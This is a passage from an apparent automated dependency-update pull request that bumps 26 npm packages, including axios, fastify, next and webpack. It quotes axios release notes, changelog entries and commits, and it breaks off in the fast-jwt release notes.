ld_version":"10.7.1","new_version":"10.25.0","repository_url":"https://github.com/harttle/liquidjs"},{"name":"markdown-it","old_version":"13.0.1","new_version":"14.1.1","repository_url":"https://github.com/markdown-it/markdown-it"},{"name":"mjml","old_version":"4.14.1","new_version":"4.18.0","repository_url":"https://github.com/mjmlio/mjml"},{"name":"nodemailer","old_version":"6.9.7","new_version":"8.0.4","repository_url":"https://github.com/nodemailer/nodemailer"},{"name":"next","old_version":"13.5.6","new_version":"15.5.14","repository_url":"https://github.com/vercel/next.js"},{"name":"@tiptap/extension-link","old_version":"2.7.1","new_version":"2.10.4","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"vite","old_version":"5.4.6","new_version":"5.4.21","repository_url":"https://github.com/vitejs/vite"},{"name":"bn.js","old_version":"4.12.0","new_version":"4.12.3","repository_url":"https://github.com/indutny/bn.js"},{"name":"flatted","old_version":"3.2.7","new_version":"3.4.2","repository_url":"https://github.com/WebReflection/flatted"},{"name":"js-yaml","old_version":"3.14.1","new_version":"3.14.2","repository_url":"https://github.com/nodeca/js-yaml"},{"name":"jws","old_version":"3.2.2","new_version":"3.2.3","repository_url":"https://github.com/brianloveswords/node-jws"},{"name":"lodash","old_version":"4.17.21","new_version":"4.18.1","repository_url":"https://github.com/lodash/lodash"},{"name":"minimatch","old_version":"3.1.2","new_version":"3.1.5","repository_url":"https://github.com/isaacs/minimatch"},{"name":"node-forge","old_version":"1.3.1","new_version":"1.4.0","repository_url":"https://github.com/digitalbazaar/forge"},{"name":"picomatch","old_version":"2.3.1","new_version":"2.3.2","repository_url":"https://github.com/micromatch/picomatch"},{"name":"rollup","old_version":"4.21.3","new_version":"4.60.1","repository_url":"https://github.com/rollup/rollup"},{"name":"tar","old_version":"6.1.15","new_version":"6.2.1","repository_url":"https://github.com/isaacs/node-tar"},{"name":"tmp","old_version":"0.2.1","new_version":"0.2.5","repository_url":"https://github.com/raszi/node-tmp"},{"name":"webpack","old_version":"5.96.1","new_version":"5.105.4","repository_url":"https://github.com/webpack/webpack"},{"name":"yaml","old_version":"1.10.2","new_version":"1.10.3","repository_url":"https://github.com/eemeli/yaml"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm_and_yarn group with 26 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [axios](https://github.com/axios/axios) | `1.7.9` | `1.13.5` |\n| [fast-jwt](https://github.com/nearform/fast-jwt) | `2.2.2` | `6.1.0` |\n| [fastify](https://github.com/fastify/fastify) | `4.23.2` | `5.8.3` |\n| [qs](https://github.com/ljharb/qs) | `6.11.0` | `6.14.2` |\n| [ajv](https://github.com/ajv-validator/ajv) | `8.12.0` | `8.18.0` |\n| [jsonpath](https://github.com/dchester/jsonpath) | `1.1.1` | `1.3.0` |\n| [liquidjs](https://github.com/harttle/liquidjs) | `10.7.1` | `10.25.0` |\n| [markdown-it](https://github.com/markdown-it/markdown-it) | `13.0.1` | `14.1.1` |\n| [mjml](https://github.com/mjmlio/mjml/tree/HEAD/packages/mjml) | `4.14.1` | `4.18.0` |\n| [nodemailer](https://github.com/nodemailer/nodemailer) | `6.9.7` | `8.0.4` |\n| [next](https://github.com/vercel/next.js) | `13.5.6` | `15.5.14` |\n| [@tiptap/extension-link](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/extension-link) | `2.7.1` | `2.10.4` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `5.4.6` | `5.4.21` |\n| [bn.js](https://github.com/indutny/bn.js) | `4.12.0` | `4.12.3` |\n| [flatted](https://github.com/WebReflection/flatted) | `3.2.7` | `3.4.2` |\n| [js-yaml](https://github.com/nodeca/js-yaml) | `3.14.1` | `3.14.2` |\n| [jws](https://github.com/brianloveswords/node-jws) | `3.2.2` | `3.2.3` |\n| [lodash](https://github.com/lodash/lodash) | `4.17.21` | `4.18.1` |\n| [minimatch](https://github.com/isaacs/minimatch) | `3.1.2` | `3.1.5` |\n| [node-forge](https://github.com/digitalbazaar/forge) | `1.3.1` | `1.4.0` |\n| [picomatch](https://github.com/micromatch/picomatch) | `2.3.1` | `2.3.2` |\n| [rollup](https://github.com/rollup/rollup) | `4.21.3` | `4.60.1` |\n| [tar](https://github.com/isaacs/node-tar) | `6.1.15` | `6.2.1` |\n| [tmp](https://github.com/raszi/node-tmp) | `0.2.1` | `0.2.5` |\n| [webpack](https://github.com/webpack/webpack) | `5.96.1` | `5.105.4` |\n| [yaml](https://github.com/eemeli/yaml) | `1.10.2` | `1.10.3` |\n\nBumps the npm_and_yarn group with 2 updates in the /packages/api directory: [fast-jwt](https://github.com/nearform/fast-jwt) and [fastify](https://github.com/fastify/fastify).\nBumps the npm_and_yarn group with 4 updates in the /packages/backend-lib directory: [fast-jwt](https://github.com/nearform/fast-jwt), [fastify](https://github.com/fastify/fastify), [markdown-it](https://github.com/markdown-it/markdown-it) and [nodemailer](https://github.com/nodemailer/nodemailer).\n\nUpdates `axios` from 1.7.9 to 1.13.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/axios/axios/releases\"\u003eaxios's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.13.5\u003c/h2\u003e\n\u003ch2\u003eRelease 1.13.5\u003c/h2\u003e\n\u003ch3\u003eHighlights\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSecurity:\u003c/strong\u003e Fixed a potential \u003cstrong\u003eDenial of Service\u003c/strong\u003e issue involving the \u003ccode\u003e__proto__\u003c/code\u003e key in \u003ccode\u003emergeConfig\u003c/code\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7369\"\u003e#7369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eBug fix:\u003c/strong\u003e Resolved an issue where \u003ccode\u003eAxiosError\u003c/code\u003e could be missing the \u003ccode\u003estatus\u003c/code\u003e field on and after \u003cstrong\u003ev1.13.3\u003c/strong\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7368\"\u003e#7368\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanges\u003c/h3\u003e\n\u003ch4\u003eSecurity\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eFix Denial of Service via \u003ccode\u003e__proto__\u003c/code\u003e key in \u003ccode\u003emergeConfig\u003c/code\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7369\"\u003e#7369\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eFixes\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eFix/5657. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7313\"\u003e#7313\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003estatus\u003c/code\u003e is present in \u003ccode\u003eAxiosError\u003c/code\u003e on and after v1.13.3. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7368\"\u003e#7368\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eFeatures / Improvements\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eAdd input validation to \u003ccode\u003eisAbsoluteURL\u003c/code\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7326\"\u003e#7326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRefactor: bump minor package versions. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7356\"\u003e#7356\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eDocumentation\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eClarify object-check comment. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7323\"\u003e#7323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix deprecated \u003ccode\u003eBuffer\u003c/code\u003e constructor usage and README formatting. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7371\"\u003e#7371\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eCI / Maintenance\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eChore: fix issues with YAML. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7355\"\u003e#7355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCI: update workflow YAMLs. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7372\"\u003e#7372\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCI: fix run condition. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7373\"\u003e#7373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDev deps: bump \u003ccode\u003ekarma-sourcemap-loader\u003c/code\u003e from 0.3.8 to 0.4.0. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7360\"\u003e#7360\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChore(release): prepare release 1.13.5. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7379\"\u003e#7379\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNew Contributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sachin11063\"\u003e\u003ccode\u003e@​sachin11063\u003c/code\u003e\u003c/a\u003e (first contribution — PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7323\"\u003e#7323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/asmitha-16\"\u003e\u003ccode\u003e@​asmitha-16\u003c/code\u003e\u003c/a\u003e (first contribution — PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7326\"\u003e#7326\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog:\u003c/strong\u003e \u003ca href=\"https://github.com/axios/axios/compare/v1.13.4...v1.13.5\"\u003ehttps://github.com/axios/axios/compare/v1.13.4...v1.13.5\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev1.13.4\u003c/h2\u003e\n\u003ch2\u003eOverview\u003c/h2\u003e\n\u003cp\u003eThe release addresses issues discovered in v1.13.3 and includes significant CI/CD improvements.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/axios/axios/compare/v1.13.3...v1.13.4\"\u003ev1.13.3...v1.13.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eWhat's New in v1.13.4\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003efix: issues with version 1.13.3\u003c/strong\u003e (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7352\"\u003e#7352\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/ee90dfc28abffbb61e24974b2bd3139a4a40ac76\"\u003eee90dfc\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eFixed issues discovered in v1.13.3 release\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/axios/axios/blob/v1.x/CHANGELOG.md\"\u003eaxios's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog\u003c/h1\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/axios/axios/compare/v1.13.2...v1.13.3\"\u003e1.13.3\u003c/a\u003e (2026-01-20)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ehttp2:\u003c/strong\u003e Use port 443 for HTTPS connections by default. (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7256\"\u003e#7256\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/d7e60653460480ffacecf85383012ca1baa6263e\"\u003ed7e6065\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003einterceptor:\u003c/strong\u003e handle the error in the same interceptor (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6269\"\u003e#6269\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/5945e40bb171d4ac4fc195df276cf952244f0f89\"\u003e5945e40\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003emain field in package.json should correspond to cjs artifacts (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5756\"\u003e#5756\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/7373fbff24cd92ce650d99ff6f7fe08c2e2a0a04\"\u003e7373fbf\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epackage.json:\u003c/strong\u003e add 'bun' package.json 'exports' condition. Load the Node.js build in Bun instead of the browser build (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5754\"\u003e#5754\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/b89217e3e91de17a3d55e2b8f39ceb0e9d8aeda8\"\u003eb89217e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003esilentJSONParsing=false should throw on invalid JSON (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7253\"\u003e#7253\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7257\"\u003e#7257\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/7d19335e43d6754a1a9a66e424f7f7da259895bf\"\u003e7d19335\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eturn AxiosError into a native error (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5394\"\u003e#5394\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5558\"\u003e#5558\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/1c6a86dd2c0623ee1af043a8491dbc96d40e883b\"\u003e1c6a86d\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e add handlers to AxiosInterceptorManager interface (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5551\"\u003e#5551\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/8d1271b49fc226ed7defd07cd577bd69a55bb13a\"\u003e8d1271b\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e restore AxiosError.cause type from unknown to Error (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7327\"\u003e#7327\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/d8233d9e8e9a64bfba9bbe01d475ba417510b82b\"\u003ed8233d9\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eunclear error message is thrown when specifying an empty proxy authorization (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6314\"\u003e#6314\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/6ef867e684adf7fb2343e3b29a79078a3c76dc29\"\u003e6ef867e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eadd \u003ccode\u003eundefined\u003c/code\u003e as a value in AxiosRequestConfig (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5560\"\u003e#5560\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/095033c626895ecdcda2288050b63dcf948db3bd\"\u003e095033c\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadd automatic minor and patch upgrades to dependabot (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6053\"\u003e#6053\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/65a7584eda6164980ddb8cf5372f0afa2a04c1ed\"\u003e65a7584\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadd Node.js coverage script using c8 (closes \u003ca href=\"https://redirect.github.com/axios/axios/issues/7289\"\u003e#7289\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7294\"\u003e#7294\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/ec9d94e9f88da13e9219acadf65061fb38ce080a\"\u003eec9d94e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadded copilot instructions (\u003ca href=\"https://github.com/axios/axios/commit/3f83143bfe617eec17f9d7dcf8bafafeeae74c26\"\u003e3f83143\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ecompatibility with frozen prototypes (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6265\"\u003e#6265\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/860e03396a536e9b926dacb6570732489c9d7012\"\u003e860e033\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eenhance pipeFileToResponse with error handling (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7169\"\u003e#7169\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/88d78842541610692a04282233933d078a8a2552\"\u003e88d7884\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e Intellisense for string literals in a widened union (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6134\"\u003e#6134\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/f73474d02c5aa957b2daeecee65508557fd3c6e5\"\u003ef73474d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com//redirect.github.com/microsoft/TypeScript/issues/33471/issues/issuecomment-1376364329\"\u003emicrosoft/TypeScript#33471\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eReverts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;fix: silentJSONParsing=false should throw on invalid JSON (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7253\"\u003e#7253\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7\"\u003e#7\u003c/a\u003e…\u0026quot; (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7298\"\u003e#7298\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/a4230f5581b3f58b6ff531b6dbac377a4fd7942a\"\u003ea4230f5\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/axios/axios/issues/7253\"\u003e#7253\u003c/a\u003e \u003ca href=\"https://redirect.github.com/axios/axios/issues/7\"\u003e#7\u003c/a\u003e \u003ca href=\"https://redirect.github.com/axios/axios/issues/7298\"\u003e#7298\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e bump peter-evans/create-pull-request from 7 to 8 in the github-actions group (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7334\"\u003e#7334\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/2d6ad5e48bd29b0b2b5e7e95fb473df98301543a\"\u003e2d6ad5e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors to this release\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/ashvin2005\" title=\"+1752/-4 ([#7218](https://github.com/axios/axios/issues/7218) [#7218](https://github.com/axios/axios/issues/7218) )\"\u003eAshvin Tiwari\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/mochinikunj\" title=\"+940/-12 ([#7294](https://github.com/axios/axios/issues/7294) [#7294](https://github.com/axios/axios/issues/7294) )\"\u003eNikunj Mochi\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/imanchalsingh\" title=\"+544/-102 ([#7169](https://github.com/axios/axios/issues/7169) [#7185](https://github.com/axios/axios/issues/7185) )\"\u003eAnchal Singh\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/jasonsaayman\" title=\"+317/-73 ([#7334](https://github.com/axios/axios/issues/7334) [#7298](https://github.com/axios/axios/issues/7298) )\"\u003ejasonsaayman\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/brodo\" title=\"+99/-120 ([#5558](https://github.com/axios/axios/issues/5558) )\"\u003eJulian Dax\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/AKASHDHARDUBEY\" title=\"+167/-0 ([#7287](https://github.com/axios/axios/issues/7287) [#7288](https://github.com/axios/axios/issues/7288) )\"\u003eAkash Dhar Dubey\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/madhumitaaa\" title=\"+20/-68 ([#7198](https://github.com/axios/axios/issues/7198) )\"\u003eMadhumita\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/Tackoil\" title=\"+80/-2 ([#6269](https://github.com/axios/axios/issues/6269) )\"\u003eTackoil\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/justindhillon\" title=\"+41/-41 ([#6324](https://github.com/axios/axios/issues/6324) [#6315](https://github.com/axios/axios/issues/6315) )\"\u003eJustin Dhillon\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/Rudrxxx\" title=\"+71/-2 ([#7257](https://github.com/axios/axios/issues/7257) )\"\u003eRudransh\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/WuMingDao\" title=\"+36/-36 ([#7215](https://github.com/axios/axios/issues/7215) )\"\u003eWuMingDao\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/codenomnom\" title=\"+70/-0 ([#7201](https://github.com/axios/axios/issues/7201) [#7201](https://github.com/axios/axios/issues/7201) )\"\u003ecodenomnom\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/Nandann018-ux\" title=\"+60/-10 ([#7272](https://github.com/axios/axios/issues/7272) )\"\u003eNandan Acharya\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/KernelDeimos\" title=\"+22/-40 ([#7042](https://github.com/axios/axios/issues/7042) )\"\u003eEric Dubé\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/tiborpilz\" title=\"+40/-4 ([#5551](https://github.com/axios/axios/issues/5551) )\"\u003eTibor Pilz\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/joaoGabriel55\" title=\"+31/-4 ([#6314](https://github.com/axios/axios/issues/6314) )\"\u003eGabriel Quaresma\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/turadg\" title=\"+23/-6 ([#6265](https://github.com/axios/axios/issues/6265) )\"\u003eTuradg Aleahmad\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/29f75425f0c9f73021f5eedc869c176e30e05fe7\"\u003e\u003ccode\u003e29f7542\u003c/code\u003e\u003c/a\u003e chore(release): prepare release 1.13.5 (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7379\"\u003e#7379\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/431c3a361490a2e3d5ac5d9e08d66d4bb5f3cd2a\"\u003e\u003ccode\u003e431c3a3\u003c/code\u003e\u003c/a\u003e ci: fix run condition (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7373\"\u003e#7373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/9ff3a78ad72ecd665a4b673686f1517d824284bf\"\u003e\u003ccode\u003e9ff3a78\u003c/code\u003e\u003c/a\u003e ci: update ymls (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7372\"\u003e#7372\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/265b71234c20fabbd6d691858c65a7e9c978659f\"\u003e\u003ccode\u003e265b712\u003c/code\u003e\u003c/a\u003e docs: fix deprecated Buffer constructor and formatting issues in README (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7371\"\u003e#7371\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/475e75a260668d227aec9f77735a49748c9041ff\"\u003e\u003ccode\u003e475e75a\u003c/code\u003e\u003c/a\u003e feat: add input validation to isAbsoluteURL (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7326\"\u003e#7326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57\"\u003e\u003ccode\u003e28c7215\u003c/code\u003e\u003c/a\u003e fix: Denial of Service via \u003cstrong\u003eproto\u003c/strong\u003e Key in mergeConfig (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7369\"\u003e#7369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/04cf01969ed58f96920da032f340bfe4614aab90\"\u003e\u003ccode\u003e04cf019\u003c/code\u003e\u003c/a\u003e docs: clarify object check comment (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7323\"\u003e#7323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/696fa753c5366afbd21859c294c64c9ff2b359ab\"\u003e\u003ccode\u003e696fa75\u003c/code\u003e\u003c/a\u003e fix: status is missing in AxiosError on and after v1.13.3 (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7368\"\u003e#7368\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/569f028a5878faaec8d7d138ba686aac407bda4c\"\u003e\u003ccode\u003e569f028\u003c/code\u003e\u003c/a\u003e fix: added a option to choose between legacy and the new request/response int...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/44b7c9f0c4900fd8784f18e871199402f07fc69f\"\u003e\u003ccode\u003e44b7c9f\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump karma-sourcemap-loader (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7360\"\u003e#7360\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/axios/axios/compare/v1.7.9...v1.13.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for axios since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fast-jwt` from 2.2.2 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.2 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/564\"\u003enearform/fast-jwt#564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/565\"\u003enearform/fast-jwt#565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.32.0 to 0.33.0 by \u003ca 